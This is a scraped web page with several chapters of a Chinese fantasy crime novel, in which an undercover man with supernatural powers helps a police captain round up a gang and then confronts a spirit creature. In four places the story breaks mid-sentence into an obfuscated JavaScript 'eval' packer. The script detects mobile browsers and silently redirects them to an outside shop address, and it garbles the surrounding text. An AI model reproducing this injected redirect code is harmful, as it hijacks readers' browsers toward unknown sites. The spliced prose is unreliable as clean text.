所有人的目光都在此刻集中在独孤尽身上,那一双双眼睛里压制着的贪婪即将汹涌而出,独孤尽讨厌这样的眼神。 但他的笑容愈发猖狂了,甚至笑出了声,“哈哈哈哈哈……且看我的手上。” 他的声音顿了顿,把自己的左手摊开,原本空无一物的左手上出现了无数张黑卡,被他扇形排开。 “这些卡里啊……”他故意拖长了声音。 快了,春渐满已经在解决门口看守的人了。 “卡里有再多,也不会给你们!”独孤尽合掌,手里的黑卡直接消失。 独孤尽的变化太快,大家还没反应过来发生了什么,脑海里定势思维觉得接下来就是把卡发给他们。 头目是第一个回过神的,他刚要拿出武器对准独孤尽发射子弹,春渐满就踹开了门,一众警员连亮证件都没干,直接二话不说就把人一个个用银手铐扣住。 “你小子敢反水!”头目恨极,目眦欲裂,他朝着独孤尽又按下扳机。 独孤尽只是歪了歪脑袋,子弹从而耳边擦过,却没碰到他一根头发丝。 “你不是早就知道,子弹对我没用吗?”独孤尽只是轻轻向前跨了一步,就将头目逼到了墙角,他刚刚从春渐满那边顺了一副手铐,极其轻描淡写地发出了“咔哒”两声。 头目还没反应过来,就发现自己的双手已经被扣住。 “你!你!你到底用了什么妖术!”这会儿他吓得快要发不出声音了,只能倒抽着气,看起来像要背过气去了。 独孤尽轻轻拍了拍他的背脊,拍到了一手汗,嫌弃地在他衣摆上擦了擦,“怎么这么紧张,只是觉得这副手镯很适合你,怎么,不喜欢?” “你还在装疯卖傻!”头目叫嚣着,更加骇然,他打心眼里害怕独孤尽。 “我可从来没装疯卖傻,我跟你说过的,我想干一件大事,有什么比把你们一网打尽还大的事吗?”独孤尽心情极好,不枉他卧底这么久,能抓到这么多人,总能把最大的鱼钓出来。 即便钓不出来,也足够废掉他们不少臂膀了。 “你别跟那家伙废话了,快过来帮忙!”春渐满瞪了独孤尽一眼,他们忙得不可开交,独孤尽居然还在逗罪犯。 他踢了一箱子手铐过去,独孤尽看着沉甸甸的手铐,又手脚麻利给身边几个打算攻击他的人戴上了这华丽的银色首饰。 “还有谁没戴上首饰?一个个排队过来领!”独孤尽饶有兴味喊了一声。 所有人都觉得他有毛病,即便在奋战中仍忍不住翻了个白眼。 “既然大家都不喜欢排队,那只能由我来管理秩序了。”独孤尽甩了甩脑袋,直接拽过了一人,在他脑袋上轻轻画了一下,他的头发就应声而落,赫然显示了一个数字。 “你排在第一个,别动啊。”独孤尽说完,又拉过另一人,在他脑袋上画了一下,“好了,你是第二个。” 他每说完都会直接把人扣上,这真是废话也说了,事情也做了,倒是什么都没耽搁。 春渐满瞥了他几眼,想要警告,但独孤尽毕竟把事情办妥了,也没办法说他什么,只能暂且忍下。 “别磨蹭了,快点。”春渐满又催促了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688965|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍。 “哎呦,警官大人怎么这么心急,这些人都逃不出去,我们大可以慢慢来。”独孤尽指了指桌上的美食,“大家大可以一边吃一边送他们银手镯嘛。” 实在有队员受不了独孤尽,趁手里的犯人老实,跑到春渐满身边去八卦,“春队,那人是谁?我们是不是也要把他抓了?” “你胡说什么,没看到他跟我们春队认识,在帮忙抓犯人吗?”另有队员还挺欣赏独孤尽,忍不住帮独孤尽说起话来。 “他也要抓,最后再抓,先把其他人抓了再说。”春渐满又看了独孤尽一眼,他当然要把独孤尽抓回去,他可是要好好审问他都获得了哪些证据。 独孤尽耳力太好,把春渐满的对话一字不落全听进了耳朵里,他嘴角抽了抽,“警官大人,你这么做事就不厚道了,我即便没有功劳也有苦劳啊。” “况且,就算我真的是罪犯,我帮你们到这种程度,也能将功赎罪吧。” 独孤尽的声音很响,可现在大部分人都不乐意听到他的声音,尤其是罪犯。 “鸿门宴啊!这是鸿门宴!快!快发消息出去!”还有人没被抓住,正打算把消息传递出去。 可不知怎么回事,自己刚拿出手机打算做点什么,手腕就被一股不知名的力量控制住了,随后手机就被夺走了,在空中飘荡起来,最后落进了纸箱。 “啊啊啊啊啊啊——有鬼啊!”那人惊慌失措,终于大叫出声。 本来今夜就足够诡异了,他们原本不想参加这种风险极大的晚宴,但因为诱惑实在太大,没守住心,来就来了,可现在这是怎么回事? 有不知名的力量在控制他们。 “啊啊啊啊——” “啊啊啊啊!” 恐惧的情绪是会传染人的,一瞬间包间内惨叫声此起彼伏。 倒是方便了春渐满他们抓人,有些人直接不想逃了,乖乖排起了队,把双手交给春渐满他们。 “哎,你们要排队来我这边啊,怎么排那边去了。”独孤尽见状立马招揽人,“快来,还能给你们每个人弄个别致的编号,多好看。” 独孤尽指了指他这边犯人脑袋上的数字,“我手艺好不好,就算不干这行,还能出去当个剃头师傅。” 春渐满叹了口气,把自己这边最后一个犯人扣上,走到独孤尽那边,帮他把还排着队的人一个个扣上。 “什么时候你的动作能有你说话这么利落就好了。” “我这动作还不够利落?警官大人是不是太苛刻了,今天我可是头功,你可要如实上报。”独孤尽继续装作不认识春渐满,大咧咧地喊着。 春渐满颇感头疼,他今天算是见识到了什么叫作难缠。 等这件事结束,他一定要想办法让独孤尽见识见识,被别人胡搅蛮缠是什么感觉,他还不信治不了独孤尽了。 独孤尽根本不知道他已经被春渐满盯上了,还满眼笑意看着春渐满傻乐。 69. 钱帛动人心 包间里一共有七十五名罪犯喜提银手铐,春渐满拿着最后一副手铐走到独孤尽跟前,示意他伸出双手。 “别吧,我这个功臣可以给点儿别的赏赐,这首饰我就不要了。”独孤尽把双手被在身后,全身心都在拒绝。 春渐满朝他又走近了一分,独孤尽往后退了一步,随后他扯了扯嘴角,凑到春渐满耳边轻声,“春警官,春老师,好小弟,饶过我吧,回去再让你好好收拾我。” “外面这么多人看着呢,多不好意思啊。” “乖乖束手就擒。”春渐满可不吃这套,他铁面无私地绕到后面扣住了独孤尽的手腕。 “你怎么好意思的,还用着我的人呢。”独孤尽示意漫天游走的隐身神兽。 “我自然好意思。”春渐满一扭头,“带走!” “是!春队!”旁边的队员久久不敢下手,但看自家队长这么公正,也没什么不好意思的了。 “这位兄弟,虽然你戴罪立功,功不可没,但有你没你,今天这个场子我们都不会放过一个人。”他还试图跟独孤尽讲道理。 独孤尽气结,“今天没我,你们都不可能来,你要不要去看看你家队长的手机……” 独孤尽说完才想起来,自己为了不让人查到他们的行动,根本没用及时通讯工具,全是靠着神兽传递的消息。 可这时候,他也不好改口。 “我可没这个胆子去看春队的手机,不过你觉得我是信你还是信我家队长?” “想不到你还挺衷心。”独孤尽有点感慨,他的神兽要是有这么衷心的就好了,可惜,都是迫于画的能力。 “你想不到的事还多着呢,你知道我们队长现在跟谁办事吗?”这位队员显然掌握了第一手的八卦,现在正愁没人分享。 “跟谁?不是跟你们局长吗?”独孤尽可还记得春渐满的师父,那也是个值得尊敬的人。 “嘿……这你就不知道了吧,我告诉你,你可不准告诉别人……不过你告诉别人其实也没事,毕竟这事吧……”正当队员拉长前摇,在那啰里八嗦,春渐满就喊住了他,“人给我吧,你去归队!” “诶!正要听到重点,你快说快说!”独孤尽可不想听到一半,就这么吊着,太难受。 “我们队长现在跟‘怪奇诊所’办事呢,可厉害了,办的都是大案子!这次的也是!” 这会儿独孤尽已经被春渐满拉回了手里,他一脸震惊地看着春渐满,“你连这个都跟队员说?不是跟你说过要保密吗?” “我从未跟他们说过这些事。”春渐满只是睨了那位队员一眼,队员立马紧张地跑回了同伴那边,不敢再乱说。 “那他们怎么知道的?看起来,除了你不知道,他们所有人全知道了。”独孤尽现在庆幸自己是伪装了相貌的,不然他这样跟春渐满在一起,迟早要被人认出来身份。 “你以为我为什么要把你拷走,还不是不想被人猜出来你的身份。”春渐满无奈地叹了口气,“你当我把你拷着玩?” “我还没那么闲。” “我知道你不闲,我们都挺忙的,没时间干闲事。”独孤尽立马点头。 春渐满这会儿收队才想起来要看一下手机,行动之前,他师父可是给他打了电话,被他按了。 未接来电只有这一个,但他竟不知道师父还给他发了条短信。 「速回。」 只有两个字,春渐满甚至不知道这是让他回电话、回消息还是回局里。 独孤尽见他要打电话,探过头去看了一眼他的消息。 “反正现在人也抓完了,总要回局里,也不急在这一时半刻了。”他这句话倒是安了春渐满的心。 不管他师父有何种嘱咐,现在人都抓完了,这是不争的事实。 “准备好回复被你师父训了吗?连他的电话都不接,胆子挺大啊。”独孤尽见春渐满心情稳定了,又开始挑衅。 “你可以保持沉默,但你说的每句话都会被记录在案。”春渐满冷冷地瞥了独孤尽一眼,懒得搭理他。 “我的每句话都会记录在案?那要是我说我喜欢春警官呢?也会被记录在案吗?”独孤尽显然是在开玩笑,可他这话却让春渐满心脏猛跳。 “你再胡言乱语!” “我这可是肺腑之言,都是要被记录在案的,怎么可能说谎呢。”独孤尽继续油嘴滑舌,“还是春警官觉得自己魅力不大,不会被我喜欢?” “哦,我懂了,是春警官太自信,觉得被我喜欢很丢人?”独孤尽一口一个喜欢,听得春渐满耳尖通红,也不知道是气的还是怎么了。 “闭嘴。”忍无可忍,春渐满伸手捂住了独孤尽那张喋喋不休的嘴。 怎么有人能欠到这种程度。 他双手还被扣在背后带着银手铐呢。 “哎呀,我们英俊帅气、大公无私的春警官害羞了。”独孤尽声音不大,却如同鼓槌,一下下敲击在春渐满的心间。 “春队,你和他说什么呢,脸都气红了,要不把他交给我,我一定把他押送到位,绝对不让他有机会惹你生气。”有队员见自家队长不知道怎么只是和犯人说了两句话脸就跟朝霞一个色了。 “不用。”春渐满拒绝了队员的关心,他现在只想一个人静静。 见人走远了,独孤尽才动了动被拷得发酸的手腕,他用肩膀撞了撞春渐满,“我上你那辆车,你就帮我把这手铐解开吧,太难受了,我又不是真的犯人。” “你卧底卧得挺舒服?”冷不防,春渐满问了一句。 “怎么这么问?” “连戴这么一会儿手铐都委屈你了?看来是在卧底的时候逍遥惯了。”春渐满当然知道卧底是最考验人的,无论是心理上还是身体上。 但他就想说点狠话怼怼独孤尽,谁让他说话没个分寸。 “小弟,要不你自己戴了试试?看看难不难受。”独孤尽也不知道恼了没恼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688966|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他只是似笑非笑看着春渐满。 只不过姿势有点儿古怪,双手扭着再怎么样也不会好看。 “算了,不逗你了,他们的罪证我会用最快的速度跟你说清楚,你快些把我送到局里吧。”独孤尽坐上车想要靠一靠车后背,但双手硌在那,实在难受。 即便如此,春渐满也没给他把手铐解了,有的时候,有些戏还是要演一演。 一路上独孤尽的话就没停,他把事情的来龙去脉全都说给春渐满听,这会儿是一点儿玩笑话都没空说了。 “所以,你直接当上了老大?”春渐满听完只觉得匪夷所思,他们要废多少人力都难以打进的黑党内部,独孤尽怎么就用他那个地主家的傻儿子人设打进去了? 而且他们的戒备心可没那么低,怎么独孤尽甩甩钱就把人拿下了。 “小弟,你有没有听过一句话,一百万没用,那就五百万,再没用就一千万,一个亿,钱帛动人心,这世间能坚守本心的人少之又少。”独孤尽看向窗外,不过他给那些人的可都是空头支票,毕竟,他连银行都捏造出来了。 “他们可还没顾得上用这些钱潇洒呢,一旦用了,也就知道这些钱是假的了,可惜啊,他们还没想好怎么正规化这笔钱。”独孤尽给的实在太多了,左不过支票在他们手里,什么时候取都能取,需要的是用一个合理的方式把钱取出来。 所以,这些人只是去查了查钱是否属实,却没去验证这钱能不能正常使用。 “这种漏洞也只能瞒一时,不过我本来就是快攻派,如果快攻不下,我就会让神兽直接强行抓人了,而不是把人头送给你们。”独孤尽说到这里,笑嘻嘻凑过去,“春警官是不是能够升职加薪了?” “加了薪可要分点给我们啊,神兽们这回都挺听你的话,给你帮了不少忙吧。”独孤尽这话说得好像他多缺钱似的。 “你先前撒钱的时候可不是这个气势。”春渐满唇边也有了点笑意。 事情解决当然是大快人心的。 他也不用一直跟独孤尽生气,生一堆气,独孤尽还不知道他到底在气什么,实在不划算。 “我那撒的可是□□,虚无的货币,当然撒得爽快,毫无顾忌,要撒多少我都有的是,但春警官你的奖金就不一样了,意义不一样。” “这种嘉奖其实不给我们用,光是知道你得了,我们也开心。” 独孤尽有时候也挺会说好听话的,只不过他不常说。 春渐满一脚刹车把独孤尽差点撞到,“你这是过河拆桥,怎么还没到局里就快把我这个最佳证人给谋杀了!” “留着点力气,等会儿还要录口供,待会儿先喝点水润润嗓子,录得时候才能说话不费劲。”春渐满拽着独孤尽的衣领直接将他逮下了车。 “轻点啊春警官,我好苦的命啊,你怎么能这么待我呢!”独孤尽又开始哭惨,虽然眼里没有半点眼泪,甚至还有那么几分笑意。 “闭嘴!” 70. 挑拨离间 一次性押送了这么多犯人回局里可谓是声势浩荡,曹鸿盛早就迫不及待,他都没等春渐满把人放下,就先拉了春渐满回办公室。 “怎么电话都不接?” “师父,那种时候我接您电话,行动会有暴露的可能性。”春渐满敛眸,用余光注视着自己师父的反应。 “那师父您又为什么要在那种时候打我电话?”春渐满还是问了出来。 “当然有急事,我接到消息,有人要对东升楼动手,可能会让你们行动暴露,有危险。” 春渐满听到这种解释,心中疑虑更重,他往前走了一步,“师父,你从哪接到的消息,正好也是今天晚上七点在东升楼?” “我还能骗你?消息还在我手机上。”曹鸿盛太了解自己的徒弟,一看就知道自己被怀疑了,直接拿出手机把消息打开给他看。 上面还确实是有一条意味不明的。 “就凭这么一条消息,师父您就耐不住性子要在那种关键时刻给我打电话?”春渐满这话很不客气,显然还没放下戒备。 “你现在说来,我也觉得很奇怪,按理说我不该做这种没脑子的事,但就到刚刚,你没这么直白指出时,我也觉得自己做的没错。”曹鸿盛揉了揉太阳穴,他的眉头紧蹙。 “是不是有人对您动手了。”春渐满唯一能想到的可能性只有这点。 也有可能,连他都中招了。 “不好,师父,可能我们俩都……”春渐满下意识压低了声音。 虽然不知道是怎么回事,但显然他跟师父两个人的心神都受到了影响。 这种影响不大,目前还看不出什么大的问题,但两人都是极心细的,这些反常足够他们察觉了。 “这是要挑拨我们的关系。”春渐满眼里迸射出骇人的寒光。 “神不知鬼不觉,能办到这事的,是不是只有‘怪奇诊所’?”曹鸿盛忽然猜测。 “师父,停,停止你的猜测,这不可能。”这是有人要栽赃陷害“怪奇诊所”,毕竟“怪奇诊所”的能力太让人忌惮。 从前“怪奇诊所”从未借助过旁人的力量,可最近,几次三番都是他跟师父在破获奇案,且这些案子的犯人多多少少都被“怪奇诊所”治疗过。 这样一来,他和师父暴露出来是迟早的事,能拖到现在,已是不易。 “师父,‘怪奇诊所’是绝对可信的,我和你也不是该被怀疑的对象。”春渐满再次出声,坚定了两人的信念。 有的时候话语会有非凡的力量,这种言灵能够破除一些见不得光的手段。 另一边,独孤尽被转交给了别的队员,押送进了审讯室。 他一点儿犯人的自觉都没有,脸上还露着似是而非的笑,对审讯员的话是知无不答,异常配合。 “龙天,你真的是犯人?不是我们的内线?还是说你在信口雌黄?”审讯员被独孤尽弄懵了,他还从来没碰到过这么配合的犯人。 甚至思路比他还清晰,时不时还能指正他一下。 让他觉得他才是那个犯人,太奇怪了,这种感觉太奇怪了! “我早就跟你们队长说了,我是卧底,可他说卧底也要来做笔录,我这不是乖乖在做笔录呢吗?”独孤尽又解释了一句,态度良好,绝对配合。 “您要真是出生入死的兄弟,这么把你拷着就太说不过去了。”那人已经有点开始难受,他看不得立的大功的兄弟遭受这种待遇。 “没事,录完口供,我也就完成自己的任务了,你就按照上面吩咐你的,该怎么审就怎么审。”独孤尽这会儿倒是变得极其好说话。 在外,他还是很维护春渐满的。 “我其实一开始也想去当卧底,但是挑了好几批人,都没挑中我,说我太实诚了,不适合干这行。” “怎么还想当卧底?电视看多了吧?做好本职工作就不错了。”独孤尽嘴角抽了抽,这孩子还去当卧底,第一天就要殉职。 太没心眼了,也就能来审审他这种根本不是罪犯的罪犯,不然还不被其他罪犯耍着玩儿耍哭。 春渐满过来的时候,看到的就是自己的人已经被独孤尽的花言巧语给骗得不知道天高地厚了。 “回去,专业课重修。”春渐满板着脸,气压骤降。 “春,春队!是!”虽然不知道发生了什么,但是春队的命令他是绝对会服从的。 “这么凶做什么,他也不可能上什么重要案件,就这样养着不也挺好。” 独孤尽眼里含笑看着满身威严的春渐满。 “养着?当这里是慈善所吗?我不养闲人。”春渐满敲了敲桌面,“龙天,坐好。” “这里是有监控是吧?好,我坐好。”独孤尽转着脑袋往四周看了一圈。 这还叫上他的假名了,显然不是说话的地方。 春渐满并没有直接讯问,而是慢慢翻看着先前的笔录,里面内容详实,倒是没什么要再问的了。 “我今晚能回去吗?”独孤尽能接受自己被这么扣一会儿,却不能接受自己真像个犯人一样被一直扣着。 春渐满附身靠近独孤尽耳侧,几乎是气声,“我和师父都被人算计了,恐怕你要再演会儿,我们才能把人找出来。” “看来我就算如实招供了,也不能有特权优待啊,可惜啊,我其实还有好多东西想说,只能以后看看还能不能想起来了。”独孤尽明了后,干脆夸张地放大声音,生怕那些在暗处听着的人听不清。 如果有什么阴招要使,大可冲着他来。 他身上还掌握着那么多秘密,没来得及告诉警方,现在他是最好的诱饵了。 春渐满没想到独孤尽会说出这么一番话,想要伸手捂他的嘴都来不及了。 “你!” “哎呀,警官大人,我有些累了,今天不想说了,您就请回吧。”独孤尽虽然双手被扣着,却仍旧一副闲散自在的样子。 春渐满没再跟独孤尽说话,他知道如果他再做什么多余的事,就毁了独孤尽的一番心意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688967|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 等抓到人,他一定要让那人好看。 独孤尽是断然不可能跟其他重犯关在一起的,而他们局里也关不了这么多人,得快点走程序才行。 春渐满连夜带着春队的队员又去了好几个地方,把独孤尽提供的线索里几个最重要的地方都查了。 证据拿到手软,跟着春渐满的队员有点不敢置信这回的行动如此顺利,尤其是证据,居然说在哪就在哪。 “春队,这次是谁审的人?交代得这么清楚,省了我们好大力气。” “少说话,多做事,去把那袋东西送到检验科。”春渐满把搜查出来的违禁品都交给了他。 “注意着点,别被人劫走了。”春渐满知道虽然现在敌人的注意力都在独孤尽身上,但他们同样是眼中刺,必须要小心谨慎。 “春队放心,我绝对不会辜负兄弟们的成果。” 春渐满见着人走远,重新整队去了下一个地点。 他们出任务经常通宵,作息极其不规律,而从没有一个晚上像今天这么刺激,忙到现在肾上腺素都没降下来。 甚至一点儿疲惫都感觉不到。 春渐满知道自己的队员一个个跟打了鸡血似的,但最后一波搜完,他就喊了回去。 证据已经够多的了,他要回去看看独孤尽那边的情况。 独孤尽等了大半夜也没等到那个想对他动手的人,他知道春渐满会等不住,安排了神兽暗中给春渐满传递他的意思。 春渐满是直接撞在神兽身上的,神兽毕竟是隐身状态,且为了拦下春渐满,好几次都想拽他衣服,拉他衣摆,但都没抓上后,实在没办法,只能拦在了春渐满面前。 这也就导致了春渐满闷头撞了上去。 这个动静太大,身旁的队员纷纷察觉,春渐满略微紧张地喝止。 “都别过来!我没事,走路分心了,交给你们的任务都去办吧。” 春渐满小心地朝旁边挪了挪,没再撞到东西,他只能先去了卫生间。 既然神兽把他拦住,那定是有要紧事。 “他真这么说?还要让我再等?他晚上没吃东西吧,受得住吗?”春渐满还能记得当时包间里那一桌子的菜,似乎谁都没动筷子。 “春老师放心,主人他就算一天没吃东西也饿不死的,据我所学的人类知识,需要断水三天才有可能会死。”神兽拍拍自己的胸脯保证。 “守护好你家主人,有什么情况及时来找我。”春渐满又叮嘱了一句。 他甚至开始想,如果他没认识独孤尽,“怪奇诊所”是不是还没有软肋,他也不用受制于人,被这么委屈地囚着。 这种念头只是起了一丝,春渐满就将念头压了下去,他可不能自暴自弃,现在还不能松懈,他的心神可不能再被不知名的东西钻了空子。 独孤尽看似闭目养神,实则把感知力放到了最大,只要有人敢不怀好意靠近,他能在第一时间发觉。 这不,他要等的人来了。 71. 恶鬼 “主人,那东西有反应了。”远处,某个玄门世家中有不和谐的声音响起。 “陆家那小子真是个傻的,他家也是,那么极富盛名的门派居然现在去研究科学了。”老者负手而立站在窗边看着无边夜色。 “主人妙计,陆家那位神不知鬼不觉用上了我们的东西,现在还把那东西当宝贝供着呢。”幼童咧嘴笑着,明明是三岁孩童的模样,眼里却浑浊不堪。 “倒是‘怪奇诊所’那边,我们的东西不知道会不会被看穿。”幼童略有顾虑,他双脚生根,长了枝条藤蔓出来,将他托举到空中。 “看穿?若要看穿了,不会无所行动。”老者自信地摞了一把胡须。 独孤尽自然看穿了,但他还没蠢到打草惊蛇,他现在正以不变应万变。 又是先前他从未接触过的东西,像腾蛇一般,游走在空中,寻常人看不见它的身影,但在光线折射到某种角度时,会有波光粼粼的幻影。 独孤尽不用靠眼睛就能掌握这东西游走的路径,但这种感觉很难受,像是缠绕在他身上一样,冰冷滑腻。 我身上究竟有什么让你们这么好奇? 独孤尽低垂着头坐在椅子上,白炽灯照在头顶上方,刺目、晕眩,这些都影响不到他,谁让他根本就没睁开眼睛。 倒是那东西被灯光影响得不轻,行为明显有滞涩之感。 忽地,一滴冰凉的液体从头顶上方落下,正巧落在他鼻尖处。 他知道,那是那个东西调整了半天才调整好角度流下的。 绝对不能让这滴不明液体影响到自己。 独孤尽夸张地打了个喷嚏,将液体甩了出去。 如果那东西会说话,想必现在已经痛骂出声。 可惜,它不会说话,也不能说话,此后,独孤尽察觉到这东西行动更加谨慎,似乎不想落在他鼻尖,想落到他嘴里。 不过,他一直是低头的姿势,想让他抬起头来可不容易。 很快,他周身就开始出现一些奇怪的景象,包括但不限于头顶的白炽灯出现故障,椅子发出怪响,以及奇怪的痛吟。 独孤尽听着是不稀奇的,但警员却受到了不小的惊吓。 “怎么回事?!那边也太诡异了,这关的是谁?屋里也太奇怪了!” “换了好几个灯泡上去了,每个刚换上去的时候都是好的,过了一会儿就不行了,开始闪来闪去。” “而且那屋里两张椅子,我已经把多余那张搬出来了,还有怪声。” “别说了,我一开始以为是那个犯人在瞎嚎,刚刚盯了监控半天,这犯人根本没张嘴,不知道声音从哪来的!” 这种诡异的议论很快就传到了春渐满耳中,他也隐约知道影响自己和师父的东西现在想必就在独孤尽那边了。 独孤尽听起来没什么异常,想来这东西对他是没影响的,现在只要确保他们的人不会被影响,从而起内部矛盾就行。 “坚守本心,实在害怕就把红色手册拿出来朗读。”春渐满想不出更好地办法,只能让正念压制邪念。 毕竟像他和师父这样意志坚定的人都会被影响,可见这东西有多恐怖。 独孤尽等的有点儿不耐烦了,他现在还没办法通过这小东西探知到它背后的人,只能再耐着性子继续想。 总会有办法的。 不知道是不是他的反应过于平静了,反倒成了这间屋里最恐怖的存在。 “你去看看,他还活着吗?”已经有警员开始疑神疑鬼。 “要去你去,我看他好得很,你看监控里,他胸口正常起伏着,没有任何问题,说不定只是低头睡着了。” “谁能用这种姿势睡觉啊?!” “能用这种姿势睡觉的肯定不是人了……” 独孤尽依旧没理会外面的杂声,他现在必须集中精神,从这东西身上找到那一根牵引它的灵丝。 但它身上怎么会那么干净,就好像没被人控制,所作所为全是凭着它的自由意志。 可不会有这么奇怪的东西按照自由意志过来找他麻烦,尤其是在这种特殊时刻。 巧合多了,也就不会是巧合了。 看来,只有使用那招了。 独孤尽不动声色地长长吸了一口气,他让自己的神魂离开了肉身,直接附在了那腾蛇似的东西身上。 他揪住了那东西的经脉,狠狠抓着警告它,“回去找你主人。” 那东西费力挣扎,试图把独孤尽从自己身上甩下来,可任凭它再怎么扭动,独孤尽都纹丝不动,仿佛已经嵌在它的骨血中。 “你开智了?”过了片刻,独孤尽察觉出些许不对劲。 “既然开智了,就该有自己的想法,而不是一味听命于旁人。”独孤尽最喜欢这种刚开智又涉世不深的小东西。 毕竟,骗起来毫无压力,还很好骗。 “去做自己喜欢的事,别白费了你这么多年的修为。”独孤尽继续恶魔低语,蛊惑它。 “那人的修为没有你高吧,你好好想想,自己为什么要听话?” “凭你的能力,该是让他听你命令才对。” 这东西自然不可能由独孤尽三言两语就策反成功,但它已经开始动摇。 从它没再死盯着独孤尽的举动上就能看出,它动摇得很剧烈。 “去吧,带我去见见你的主人,他要是敢为难你,不听你话,我还能从旁跟他说说道理。”独孤尽的话听起来极其可笑,因为听起来就像个骗子,但这小东西可听不出来,它觉得独孤尽的建议很好。 感觉到小东西的松动,独孤尽看了一眼全方位锁定他的摄像头,屈指抬了抬,直接把这间屋里的监控设备全都毁了。 “全员戒备!出事了!”警员在监控画面消失的瞬间就发现了不对劲,立马上报给了春渐满。 春渐满虽不知道发生了什么,但听到是监控坏了反而放下心来。 如果是其他情况,独孤尽不可能还有时间顾及到监控,现在看来,独孤尽应该是游刃有余的。 “我会带人进去,这边交给我。”春渐满直接把事情揽了下来,他还要想想办法给独孤尽拖延时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688968|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行方便。 早在监控时效的那一瞬间,独孤尽就已经不在这片区域了,他跟着小东西瞬间移动到了无人在意的郊外。 这里连路灯都很少,只有一点月光照亮树林,但独孤尽清楚地感知到了藏在暗处的那人。 不过那人似乎没打算藏。 独孤尽直接喊出了这道熟悉的气息,“陆烨修。” “我的天,真把你叫来了?你快看看,我的召唤灵是不是很有用,我只是叫它帮我找你,它就真把你带过来了。” “你快说说,你是怎么高兴过来的,它怎么说服你的?”陆烨修看到独孤尽,脸上无比兴奋,迈步朝着独孤尽就大跑过来。 “这是你的?”独孤尽眯起了眼睛,好好打量眼前的人。 人还是那个人,也没被术法迷惑心智,按理说陆烨修不会做害人的事才对。 “怎么用这种眼神看我?我只是在试术法,打扰到你了?”陆烨修的反应不像演的,他是真的没明白自己被人当刀使了。 “你就没想过会被它反噬?”独孤尽指了指那个口口声声被陆烨修称为召唤灵的东西。 “我是它的主人,它不过是一个纸片,怎么可能反噬,如果它有谋逆的心,我直接打火机一开就把它烧了。”陆烨修继续天真地戳着自己的召唤灵。 “这可不是纸片,它生出灵智了你知道吗?”独孤尽再次提醒陆烨修。 “再有灵智,也还是张纸啊?” 独孤尽不打算再跟笨蛋说话,他怕说多了自己被传染笨蛋病。 他双眸紧闭,把感知放到最大。 可惜的是,周围再无异样。 “既然是你的召唤灵,你让它对我做出攻击。”独孤尽打算将计就计,让对方以为自己被攻击,并且受伤。 “哎!你别污染我的召唤灵,它是纯洁的,我怎么可能让它做坏事!”陆烨修根本不同意。 “你,攻击我,我把他做成纸人给你玩。”独孤尽不跟陆烨修废话,他扭头就跟那小东西商量。 “你怎么能这么对我的召唤灵!你别听他瞎说,我才是你的主人,你只能听我的。”陆烨修急了,他感觉自己的召唤灵似乎有点不受控制了。 而他压根不知道,这个召唤灵根本就不是他召唤出来的,而是有心人专门放到他这儿来的。 这东西,从一开始也不是听的他的命令。 远处,一阵劲风席卷上窗户。 “主人!成功了!‘怪奇诊所’的那位着道了!待徒儿将他生擒过来!”孩童欣喜地发出尖利的笑声。 他脚下的藤蔓生长得更加肆意了,甚至开出了艳丽的血色花朵。 “切莫掉以轻心。”老者面上也露出一丝欣喜,却还在忍着。 郊区的这处树林里突然树叶沙沙作响,无风自动,看得陆烨修鸡皮疙瘩都起来了。 “怎么回事?!” “嘘……你且躲远点。”独孤尽轻声嘱咐,虽然是装的,可他现在看起来着实虚弱得吓人。 脸煞白一片,活像夜里才会出来的恶鬼。 72. 新型药剂 藤蔓从孩童模样那人脚下扎入土地,向外无限延伸,没用多久就到了独孤尽所在的荒郊,它还在徐徐摸索独孤尽的确切位置。 试图一击就将独孤尽拿下,只要把独孤尽控制住了,其他的都是小事。 独孤尽原本就只是精神力凝聚在此处,他刚才将肉身分离藏在了不远处的树后,想要让神魂看起来虚弱一点很容易。 但太虚弱了就容易让神魂看起来不够像□□。 “呼……呼……”他故意让自己的呼吸变得沉重。 陆烨修在一旁看得焦急,但也只能屏息在一边静候。 